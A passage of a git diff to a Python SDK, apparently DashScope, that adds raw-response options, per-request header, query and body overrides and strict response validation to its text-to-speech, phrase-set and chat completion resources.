extra_body=extra_body, + max_retries=max_retries, ) + if raw: + return resp return with_headers( - JobStatus(**self._parse_response(response)), - response, + self._parse_model(JobStatus, resp.http_response), + resp.http_response, ) diff --git a/dashscope/resources/audio/http_tts.py b/dashscope/resources/audio/http_tts.py index 16003d49..e159762e 100644 --- a/dashscope/resources/audio/http_tts.py +++ b/dashscope/resources/audio/http_tts.py @@ -19,27 +19,39 @@ import base64 import json from typing import ( + TYPE_CHECKING, Any, AsyncIterator, Dict, Generator, Iterator, List, + Literal, Mapping, Optional, Tuple, + Union, + overload, ) from dashscope._logging import get_logger, request_id_from_headers from dashscope.errors import ( + APIResponseValidationError, APIStatusError, DashScopeError, error_from_business_code, error_from_status, ) from dashscope.resources._sse import _try_json +from dashscope.transport._options import request_options +from dashscope.types._parse import parse_model from dashscope.types.common import ResponseBase, response_body, with_headers +if TYPE_CHECKING: + import httpx + + from dashscope.transport._response import APIResponse + __all__ = [ "HttpSynthesis", "HttpSynthesisChunk", @@ -73,8 +85,11 @@ def _log_audio_error( headers: Optional[Mapping[str, str]] = None, ) -> None: # Exception text may contain raw SSE/audio or credentials. Log metadata only. + body_request_id = _audio_body_request_id(getattr(error, "body", None)) + if isinstance(error, APIResponseValidationError) and request_id: + body_request_id = request_id request_id = ( - _audio_body_request_id(getattr(error, "body", None)) + body_request_id or request_id or request_id_from_headers(headers) or request_id_from_headers(getattr(error, "headers", None)) @@ -296,21 +311,30 @@ def expires_at(self) -> Optional[int]: def _synthesis_from_body( body: Dict[str, Any], header_request_id: str, + *, + strict: bool = False, + response: Optional["httpx.Response"] = None, ) -> HttpSynthesis: output = body.get("output") - return HttpSynthesis( - **{ + return parse_model( + HttpSynthesis, + { **body, "output": output if isinstance(output, dict) else {}, "usage": _usage_dict(body), "request_id": body.get("request_id") or header_request_id, }, + strict=strict, + response=response, ) def _chunk_from_data( data: str, header_request_id: str, + *, + strict: bool = False, + response: Optional["httpx.Response"] = None, ) -> HttpSynthesisChunk: try: body = json.loads(data) @@ -327,8 +351,9 @@ def _chunk_from_data( output = body.get("output") output = output if isinstance(output, dict) else {} payload = _audio_dict(output).get("data") - chunk = HttpSynthesisChunk( - **{ + chunk = parse_model( + HttpSynthesisChunk, + { **body, "output": output, "audio": ( @@ -337,6 +362,8 @@ def _chunk_from_data( "usage": _usage_dict(body), "request_id": body.get("request_id") or header_request_id, }, + strict=strict, + response=response, ) if chunk.status_code is not None and not 200 <= chunk.status_code < 300: chunk.is_error = True @@ -347,8 +374,16 @@ def _parse_stream_chunk( data: str, header_request_id: str, request_id: Optional[str], + *, + strict: bool = False, + response: Optional["httpx.Response"] = None, ) -> HttpSynthesisChunk: - chunk = _chunk_from_data(data, header_request_id) + chunk = _chunk_from_data( + data, + header_request_id, + strict=strict, + response=response, + ) if chunk.is_error: _logger.error( "HTTP TTS business error, request_id=%s", @@ -361,6 +396,7 @@ def _synthesis_from_response( response, *, raise_on_error: bool, + strict: bool = False, ) -> HttpSynthesis: request_id = request_id_from_headers(response.headers) try: @@ -370,6 +406,8 @@ def _synthesis_from_response( _synthesis_from_body( body, response.headers.get("x-request-id", ""), + strict=strict, + response=response, ), response, ) @@ -441,10 +479,16 @@ class AsyncHttpTts: def __init__(self, client) -> None: self._client = client - async def synthesize(self, text: str, **kwargs) -> HttpSynthesis: + async def synthesize( + self, + text: str, + **kwargs, + ) -> Union[HttpSynthesis, "APIResponse"]: + """Async twin of :meth:`HttpTts.synthesize`, ``raw`` included.""" model = kwargs.pop("model") voice = kwargs.pop("voice") - response = await self._client.transport.request( + raw = kwargs.pop("raw", False) + resp = await self._client.transport.request_api( "POST", _path_for(model), json=_build_body( @@ -467,10 +511,21 @@ async def synthesize(self, text: str, **kwargs) -> HttpSynthesis: sdk_module=MODULE, api_key=kwargs.pop("api_key", None), workspace=kwargs.pop("workspace", None), + options=request_options( + kwargs.pop("extra_headers", None), + kwargs.pop("extra_query", None), + kwargs.pop("extra_body", None), + max_retries=kwargs.pop("max_retries", None), + ), + client=self._client, ) + if raw: + return resp + response = resp.http_response return _synthesis_from_response( response, raise_on_error=self._client.raise_on_error, + strict=self._client.config.strict_validation, ) async def stream(self, text: str, **kwargs) -> AsyncHttpSynthesisStream: @@ -502,6 +557,12 @@ async def stream(self, text: str, **kwargs) -> AsyncHttpSynthesisStream: sdk_module=MODULE, api_key=kwargs.pop("api_key", None), workspace=kwargs.pop("workspace", None), + options=request_options( + kwargs.pop("extra_headers", None), + kwargs.pop("extra_query", None), + kwargs.pop("extra_body", None), + max_retries=kwargs.pop("max_retries", None), + ), ) except APIStatusError as error: _with_audio_request_id(error) @@ -538,7 +599,13 @@ async def events(): data, response.headers, ) - yield _parse_stream_chunk(data, header_id, request_id) + yield _parse_stream_chunk( + data, + header_id, + request_id, + strict=self._client.config.strict_validation, + response=response, + ) frame = decoder.feed("") if frame is not None: is_error, status, data = frame @@ -551,7 +618,13 @@ async def events(): data, response.headers, ) - yield _parse_stream_chunk(data, header_id, request_id) + yield _parse_stream_chunk( + data, + header_id, + request_id, + strict=self._client.config.strict_validation, + response=response, + ) except Exception as error: if isinstance(error, DashScopeError): _with_audio_request_id(error) @@ -569,6 +642,7 @@ class HttpTts: def __init__(self, client) -> None: self._client = client + @overload def synthesize( self, text: str, @@ -584,9 +658,70 @@ def synthesize( headers: Optional[Mapping[str, str]] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> HttpSynthesis: - """Synthesize in one POST; the audio comes back as a URL.""" - response = self._client.transport.request( + ... + + @overload + def synthesize( + self, + text: str, + *, + model: str, + voice: str, + format: Optional[str] = None, # pylint: disable=redefined-builtin + sample_rate: Optional[int] = None, + language_type: Optional[str] = None, + parameters: Optional[Dict[str, Any]] = None, + extra_input: Optional[Dict[str, Any]] = None, + timeout: Optional[float] = None, + headers: Optional[Mapping[str, str]] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + + def synthesize( + self, + text: str, + *, + model: str, + voice: str, + format: Optional[str] = None, # pylint: disable=redefined-builtin + sample_rate: Optional[int] = None, + language_type: Optional[str] = None, + parameters: Optional[Dict[str, Any]] = None, + extra_input: Optional[Dict[str, Any]] = None, + timeout: Optional[float] = None, + headers: Optional[Mapping[str, str]] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[HttpSynthesis, "APIResponse"]: + """Synthesize in one POST; the audio comes back as a URL. + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + before any error check, so a caller can read the status, headers and + ``elapsed`` of the response or re-parse it itself. The non-raw path + keeps ``response_body``'s envelope: it preserves non-JSON failure + bodies and injects ``status_code``/``request_id``/``is_error``. + :meth:`stream` has no ``raw`` -- a streaming body is never + materialized. + """ + resp = self._client.transport.request_api( "POST", _path_for(model), json=_build_body( @@ -604,10 +739,21 @@ def synthesize( sdk_module=MODULE, api_key=api_key, workspace=workspace, + options=request_options( + extra_headers, + extra_query, + extra_body, + max_retries=max_retries, + ), + client=self._client, ) + if raw: + return resp + response = resp.http_response return _synthesis_from_response( response, raise_on_error=self._client.raise_on_error, + strict=self._client.config.strict_validation, ) def stream( @@ -625,6 +771,10 @@ def stream( headers: Optional[Mapping[str, str]] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, ) -> HttpSynthesisStream: """Stream the synthesis over SSE, one chunk per part. @@ -655,6 +805,12 @@ def stream( sdk_module=MODULE, api_key=api_key, workspace=workspace, + options=request_options( + extra_headers, + extra_query, + extra_body, + max_retries=max_retries, + ), ) except APIStatusError as error: # >=400 is raised (and closed) before open_stream returns a response. @@ -677,6 +833,8 @@ def _events(self, response) -> Generator[HttpSynthesisChunk, None, None]: data, header_request_id, request_id, + strict=self._client.config.strict_validation, + response=response, ) except Exception as error: if isinstance(error, DashScopeError): diff --git a/dashscope/resources/audio/phrases.py b/dashscope/resources/audio/phrases.py index d6b8f74d..d25ac299 100644 --- a/dashscope/resources/audio/phrases.py +++ b/dashscope/resources/audio/phrases.py @@ -13,10 +13,22 @@ from __future__ import annotations -from typing import Any, Dict, List, Mapping, Optional +from typing import ( + TYPE_CHECKING, + Any, + Dict, + List, + Literal, + Mapping, + Optional, + Union, + overload, +) from pydantic import AliasChoices, Field +from dashscope.transport._options import request_options +from dashscope.types._parse import parse_model from dashscope.types.common import ( JobStatus, ResponseBase, @@ -25,6 +37,9 @@ with_headers, ) +if TYPE_CHECKING: + from dashscope.transport._response import APIResponse + __all__ = [ "Phrase", "PhraseList", @@ -104,6 +119,16 @@ class Phrases: def __init__(self, client) -> None: self._client = client + def _parse(self, model_cls, body: Dict[str, Any], response): + """Build one response model, degrading rather than raising.""" + return parse_model( + model_cls, + flatten_envelope(body), + strict=self._client.config.strict_validation, + response=response, + ) + + @overload def create( self, *, @@ -114,10 +139,59 @@ def create( headers: Optional[Mapping[str, str]] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> Phrase: - """Compile a new phrase set; the result carries ``phrase_id``.""" + ... + + @overload + def create( + self, + *, + model: str, + phrases: Dict[str, Any], + training_type: str = "compile_asr_phrase", + timeout: Optional[float] = None, + headers: Optional[Mapping[str, str]] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + + def create( + self, + *, + model: str, + phrases: Dict[str, Any], + training_type: str = "compile_asr_phrase", + timeout: Optional[float] = None, + headers: Optional[Mapping[str, str]] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[Phrase, "APIResponse"]: + """Compile a new phrase set; the result carries ``phrase_id``. + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + before any error check, so a caller can read the status, headers and + ``elapsed`` of the response or re-parse it itself. The non-raw path + keeps ``response_body``'s envelope: it preserves non-JSON failure + bodies and injects ``status_code``/``request_id``/``is_error``. + """ _require_phrases(phrases) - response = self._client.transport.request( + resp = self._client.transport.request_api( "POST", _CREATE_PATH, json=_compile_body( @@ -131,13 +205,26 @@ def create( sdk_module=MODULE, api_key=api_key, workspace=workspace, + options=request_options( + extra_headers, + extra_query, + extra_body, + max_retries=max_retries, + ), + client=self._client, ) + if raw: + return resp body = response_body( - response, + resp.http_response, raise_on_error=self._client.raise_on_error, ) - return with_headers(Phrase(**flatten_envelope(body)), response) + return with_headers( + self._parse(Phrase, body, resp.http_response), + resp.http_response, + ) + @overload def update( self, phrase_id: str, @@ -149,11 +236,62 @@ def update( headers: Optional[Mapping[str, str]] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> Phrase: - """Recompile the phrase set behind ``phrase_id``.""" + ... + + @overload + def update( + self, + phrase_id: str, + *, + model: str, + phrases: Dict[str, Any], + training_type: str = "compile_asr_phrase", + timeout: Optional[float] = None, + headers: Optional[Mapping[str, str]] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + + def update( + self, + phrase_id: str, + *, + model: str, + phrases: Dict[str, Any], + training_type: str = "compile_asr_phrase", + timeout: Optional[float] = None, + headers: Optional[Mapping[str, str]] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[Phrase, "APIResponse"]: + """Recompile the phrase set behind ``phrase_id``. + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + before any error check, so a caller can read the status, headers and + ``elapsed`` of the response or re-parse it itself. The non-raw path + keeps ``response_body``'s envelope: it preserves non-JSON failure + bodies and injects ``status_code``/``request_id``/``is_error``. + """ _require_id(phrase_id, "phrase_id") _require_phrases(phrases) - response = self._client.transport.request( + resp = self._client.transport.request_api( "POST", _CREATE_PATH, json=_compile_body( @@ -167,13 +305,26 @@ def update( sdk_module=MODULE, api_key=api_key, workspace=workspace, + options=request_options( + extra_headers, + extra_query, + extra_body, + max_retries=max_retries, + ), + client=self._client, ) + if raw: + return resp body = response_body( - response, + resp.http_response, raise_on_error=self._client.raise_on_error, ) - return with_headers(Phrase(**flatten_envelope(body)), response) + return with_headers( + self._parse(Phrase, body, resp.http_response), + resp.http_response, + ) + @overload def get( self, phrase_id: str, @@ -182,10 +333,55 @@ def get( headers: Optional[Mapping[str, str]] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> Phrase: - """Fetch one compiled phrase set (1.x ``query_phrases``).""" + ... + + @overload + def get( + self, + phrase_id: str, + *, + timeout: Optional[float] = None, + headers: Optional[Mapping[str, str]] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + + def get( + self, + phrase_id: str, + *, + timeout: Optional[float] = None, + headers: Optional[Mapping[str, str]] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[Phrase, "APIResponse"]: + """Fetch one compiled phrase set (1.x ``query_phrases``). + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + before any error check, so a caller can read the status, headers and + ``elapsed`` of the response or re-parse it itself. The non-raw path + keeps ``response_body``'s envelope: it preserves non-JSON failure + bodies and injects ``status_code``/``request_id``/``is_error``. + """ _require_id(phrase_id, "phrase_id") - response = self._client.transport.request( + resp = self._client.transport.request_api( "GET", f"{_OUTPUTS_PATH}/{phrase_id}", headers=headers, @@ -193,13 +389,26 @@ def get( sdk_module=MODULE, api_key=api_key, workspace=workspace, + options=request_options( + extra_headers, + extra_query, + extra_body, + max_retries=max_retries, + ), + client=self._client, ) + if raw: + return resp body = response_body( - response, + resp.http_response, raise_on_error=self._client.raise_on_error, ) - return with_headers(Phrase(**flatten_envelope(body)), response) + return with_headers( + self._parse(Phrase, body, resp.http_response), + resp.http_response, + ) + @overload def list( self, *, @@ -209,9 +418,56 @@ def list( headers: Optional[Mapping[str, str]] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> PhraseList: - """List compiled phrase sets.""" - response = self._client.transport.request( + ... + + @overload + def list( + self, + *, + page_no: int = 1, + page_size: int = 10, + timeout: Optional[float] = None, + headers: Optional[Mapping[str, str]] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + + def list( + self, + *, + page_no: int = 1, + page_size: int = 10, + timeout: Optional[float] = None, + headers: Optional[Mapping[str, str]] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[PhraseList, "APIResponse"]: + """List compiled phrase sets. + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + before any error check, so a caller can read the status, headers and + ``elapsed`` of the response or re-parse it itself. The non-raw path + keeps ``response_body``'s envelope: it preserves non-JSON failure + bodies and injects ``status_code``/``request_id``/``is_error``. + """ + resp = self._client.transport.request_api( "GET", _OUTPUTS_PATH, params={"page_no": page_no, "page_size": page_size}, @@ -220,13 +476,26 @@ def list( sdk_module=MODULE, api_key=api_key, workspace=workspace, + options=request_options( + extra_headers, + extra_query, + extra_body, + max_retries=max_retries, + ), + client=self._client, ) + if raw: + return resp body = response_body( - response, + resp.http_response, raise_on_error=self._client.raise_on_error, ) - return with_headers(PhraseList(**flatten_envelope(body)), response) + return with_headers( + self._parse(PhraseList, body, resp.http_response), + resp.http_response, + ) + @overload def delete( self, phrase_id: str, @@ -235,10 +504,55 @@ def delete( headers: Optional[Mapping[str, str]] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> JobStatus: - """Delete one compiled phrase set.""" + ... + + @overload + def delete( + self, + phrase_id: str, + *, + timeout: Optional[float] = None, + headers: Optional[Mapping[str, str]] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + + def delete( + self, + phrase_id: str, + *, + timeout: Optional[float] = None, + headers: Optional[Mapping[str, str]] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[JobStatus, "APIResponse"]: + """Delete one compiled phrase set. + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + before any error check, so a caller can read the status, headers and + ``elapsed`` of the response or re-parse it itself. The non-raw path + keeps ``response_body``'s envelope: it preserves non-JSON failure + bodies and injects ``status_code``/``request_id``/``is_error``. + """ _require_id(phrase_id, "phrase_id") - response = self._client.transport.request( + resp = self._client.transport.request_api( "DELETE", f"{_OUTPUTS_PATH}/{phrase_id}", headers=headers, @@ -246,9 +560,21 @@ def delete( sdk_module=MODULE, api_key=api_key, workspace=workspace, + options=request_options( + extra_headers, + extra_query, + extra_body, + max_retries=max_retries, + ), + client=self._client, ) + if raw: + return resp body = response_body( - response, + resp.http_response, raise_on_error=self._client.raise_on_error, ) - return with_headers(JobStatus(**flatten_envelope(body)), response) + return with_headers( + self._parse(JobStatus, body, resp.http_response), + resp.http_response, + ) diff --git a/dashscope/resources/chat/completions.py b/dashscope/resources/chat/completions.py index 6c15873b..673566f8 100644 --- a/dashscope/resources/chat/completions.py +++ b/dashscope/resources/chat/completions.py @@ -9,11 +9,22 @@ from __future__ import annotations from dataclasses import replace -from typing import Any, Dict, Iterator, List, Optional, Tuple, Union, overload +from typing import ( + TYPE_CHECKING, + Any, + Dict, + Iterator, + List, + Mapping, + Optional, + Tuple, + Union, + overload, +) from typing_extensions import Literal -from dashscope.errors import response_error, response_json +from dashscope.errors import response_error from dashscope.protocols.base import ChatRequest from dashscope.resources._blocking import run_blocking from dashscope.resources._oss import ( @@ -23,6 +34,7 @@ from dashscope.resources.chat._params import ( should_modify_incremental_output, ) +from dashscope.types._parse import parse_model from dashscope.types.common import Usage, with_headers from dashscope.types.completions import ( ChatCompletion, @@ -32,6 +44,7 @@ SearchInfo, StreamChoice, ) +from dashscope.transport._options import RequestOptions, request_options from dashscope.transport.sse import AsyncStream, Stream from dashscope.types.messages import ( Message, @@ -42,6 +55,11 @@ normalize_messages, ) +if TYPE_CHECKING: + import httpx + + from dashscope.transport._response import APIResponse + __all__ = [ "AsyncChatStream", "AsyncCompletions", @@ -72,12 +90,51 @@ def _endpoint( return None +def _normalize_request_messages( + client, + *, + multimodal: bool, + messages: Optional[Union[str, List[MessageInput]]], +) -> List[Message]: + if messages is None: + if not multimodal or client.protocol.name != "native": + raise ValueError("messages must not be empty") + return [] + if multimodal and client.protocol.name == "native" and messages == []: + return [] + return normalize_messages(messages) + + +def _merge_input_overrides( + client, + request: ChatRequest, + *, + multimodal: bool, + messages: Optional[Union[str, List[MessageInput]]], + extra_input: Optional[Dict[str, Any]], +) -> ChatRequest: + if extra_input and (not multimodal or client.protocol.name != "native"): + raise ValueError( + "extra_input requires multimodal.chat with the native protocol", + ) + if not extra_input and messages is not None: + return request + body = dict(request.body) + input_data = dict(body.get("input") or {}) + if messages is None: + input_data.pop("messages", None) + if extra_input: + input_data.update(extra_input) + body["input"] = input_data + return replace(request, body=body) + + def _build_request( client, *, multimodal: bool, model: str, - messages: Union[str, List[MessageInput]], + messages: Optional[Union[str, List[MessageInput]]], stream: bool, tools: Optional[List[Dict[str, Any]]], temperature: Optional[float], @@ -102,8 +159,13 @@ def _build_request( parameters: Optional[Dict[str, Any]], api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_input: Optional[Dict[str, Any]] = None, ) -> Tuple[ChatRequest, str, bool, bool]: - normalized = normalize_messages(messages) + normalized = _normalize_request_messages( + client, + multimodal=multimodal, + messages=messages, + ) # 1.x tags the whole chat family "aigc" (MultiModalConversation lives # in dashscope.legacy_1x.aigc); media routing does not change the module tag. module = "aigc" @@ -188,6 +250,13 @@ def _build_request( extra_parameters=parameters, path=_endpoint(client, normalized, multimodal=multimodal), ) + request = _merge_input_overrides( + client, + request, + multimodal=multimodal, + messages=messages, + extra_input=extra_input, + ) if uploaded: request = replace( request, @@ -214,10 +283,14 @@ def __init__( *, merge_incremental: bool = False, server_cumulative: bool = False, + strict_validation: bool = False, + response: Optional[httpx.Response] = None, ) -> None: self._inner = inner self._merge = merge_incremental self._server_cumulative = server_cumulative + self._strict_validation = strict_validation + self._response = response def __iter__(self) -> Iterator[ChatCompletionChunk]: if self._merge: @@ -258,7 +331,11 @@ def cumulative(self) -> bool: def get_final_message(self) -> ChatCompletion: if self.cumulative: - final = _final_from_cumulative(list(self)) + final = _final_from_cumulative( + list(self), + strict_validation=self._strict_validation, + response=self._response, + ) else: final = _aggregate(self) final.headers = self.headers @@ -280,10 +357,14 @@ def __init__( *, merge_incremental: bool = False, server_cumulative: bool = False, + strict_validation: bool = False, + response: Optional[httpx.Response] = None, ) -> None: self._inner = inner self._merge = merge_incremental self._server_cumulative = server_cumulative + self._strict_validation = strict_validation + self._response = response def __aiter__(self): if self._merge: @@ -337,7 +418,11 @@ def cumulative(self) -> bool: async def get_final_message(self) -> ChatCompletion: chunks = [chunk async for chunk in self] if self.cumulative: - final = _final_from_cumulative(chunks) + final = _final_from_cumulative( + chunks, + strict_validation=self._strict_validation, + response=self._response, + ) else: final = _aggregate(chunks) final.headers = self.headers @@ -477,7 +562,10 @@ def _cumulative_chunk( signature = _signature_from_blocks(slot["reasoning_blocks"]) # model_copy keeps provider extras the rebuild would otherwise # drop (delta-level omni audio); accumulated logprobs override - # the current frame's fragment. + # the current frame's fragment. It bypasses validation on + # purpose: every value here was accumulated from chunks that + # already went through parse_model, so there is nothing left to + # repair and strict mode has already had its say per event. new_delta = choice.delta.model_copy( update={ "role": slot["role"], @@ -506,6 +594,9 @@ def _accumulate_chunks( def _final_from_cumulative( chunks: List[ChatCompletionChunk], + *, + strict_validation: bool = False, + response: Optional[httpx.Response] = None, ) -> ChatCompletion: """Final message for a cumulative stream: per choice, its last snapshot. @@ -540,12 +631,22 @@ def _final_from_cumulative( tool_calls=choice.delta.tool_calls, **(choice.delta.model_extra or {}), ) + # Extras first, so a wire field that collides with a computed one + # (a chunk carrying both ``delta`` and ``message`` puts the latter + # in ``model_extra``) is overridden instead of raising a + # duplicate-keyword TypeError -- and so a drifted extra is + # repaired rather than escaping as a bare ValidationError. choices.append( - Choice( - index=index, - finish_reason=choice.finish_reason, - message=message, - **(choice.model_extra or {}), + parse_model( + Choice, + { + **(choice.model_extra or {}), + "index": index, + "finish_reason": choice.finish_reason, + "message": message, + }, + strict=strict_validation, + response=response, ), ) return ChatCompletion( @@ -655,13 +756,21 @@ def _checked_completion( return None if client.raise_on_error: raise error - return ChatCompletion( - request_id=error.request_id, - status_code=error.status_code, - code=error.code, - message=error.message, - is_error=True, - headers=dict(response.headers), + # The envelope fields are lifted straight off the body, so a gateway + # that types ``code`` as a number would otherwise escape as a bare + # ValidationError on the very path meant to avoid raising. + return parse_model( + ChatCompletion, + { + "request_id": error.request_id, + "status_code": error.status_code, + "code": error.code, + "message": error.message, + "is_error": True, + "headers": dict(response.headers), + }, + strict=client.config.strict_validation, + response=response, ) @@ -676,10 +785,16 @@ def _send( api_key: Optional[str], workspace: Optional[str], timeout: Optional[float], -) -> Union[ChatCompletion, ChatStream]: + options: Optional[RequestOptions] = None, + raw: bool = False, +) -> Union[ChatCompletion, ChatStream, "APIResponse"]: transport = client.transport base_url = client.config.protocol_base_url if stream: + # ``APIResponse`` presumes a materialized body; ``open_stream`` + # hands back an unread one, so there is nothing to wrap. + if raw: + raise ValueError("raw=True is not supported with stream=True") response = transport.open_stream( "POST", request.path, @@ -690,13 +805,22 @@ def _send( workspace=workspace, sdk_module=module, timeout=timeout, + options=options, ) return ChatStream( - Stream(response, client.protocol.make_chunk_parser()), + Stream( + response, + client.protocol.make_chunk_parser( + strict_validation=client.config.strict_validation, + response=response, + ), + ), merge_incremental=merge_incremental, server_cumulative=server_cumulative, + strict_validation=client.config.strict_validation, + response=response, ) - response = transport.request( + resp = transport.request_api( "POST", request.path, json=request.body, @@ -706,13 +830,21 @@ def _send( workspace=workspace, sdk_module=module, timeout=timeout, + options=options, + client=client, ) - error_result = _checked_completion(client, response) + if raw: + return resp + error_result = _checked_completion(client, resp.http_response) if error_result is not None: return error_result return with_headers( - client.protocol.parse_completion(response_json(response)), - response, + client.protocol.parse_completion( + resp.json(), + strict_validation=client.config.strict_validation, + response=resp.http_response, + ), + resp.http_response, ) @@ -727,10 +859,16 @@ async def _asend( api_key: Optional[str], workspace: Optional[str], timeout: Optional[float], -) -> Union[ChatCompletion, AsyncChatStream]: + options: Optional[RequestOptions] = None, + raw: bool = False, +) -> Union[ChatCompletion, AsyncChatStream, "APIResponse"]: transport = client.transport base_url = client.config.protocol_base_url if stream: + # ``APIResponse`` presumes a materialized body; ``open_stream`` + # hands back an unread one, so there is nothing to wrap. + if raw: + raise ValueError("raw=True is not supported with stream=True") response = await transport.open_stream( "POST", request.path, @@ -741,13 +879,22 @@ async def _asend( workspace=workspace, sdk_module=module, timeout=timeout, + options=options, ) return AsyncChatStream( - AsyncStream(response, client.protocol.make_chunk_parser()), + AsyncStream( + response, + client.protocol.make_chunk_parser( + strict_validation=client.config.strict_validation, + response=response, + ), + ), merge_incremental=merge_incremental, server_cumulative=server_cumulative, + strict_validation=client.config.strict_validation, + response=response, ) - response = await transport.request( + resp = await transport.request_api( "POST", request.path, json=request.body, @@ -757,13 +904,21 @@ async def _asend( workspace=workspace, sdk_module=module, timeout=timeout, + options=options, + client=client, ) - error_result = _checked_completion(client, response) + if raw: + return resp + error_result = _checked_completion(client, resp.http_response) if error_result is not None: return error_result return with_headers( - client.protocol.parse_completion(response_json(response)), - response, + client.protocol.parse_completion( + resp.json(), + strict_validation=client.config.strict_validation, + response=resp.http_response, + ), + resp.http_response, ) @@ -802,6 +957,11 @@ def create( timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> ChatStream: ... @@ -836,9 +996,53 @@ def create( timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> ChatCompletion: ... + @overload + def create( + self, + *, + model: str, + messages: Union[str, List[MessageInput]], + stream: Literal[False] = False, + tools: Optional[List[Dict[str, Any]]] = None, + temperature: Optional[float] = None, + top_p: 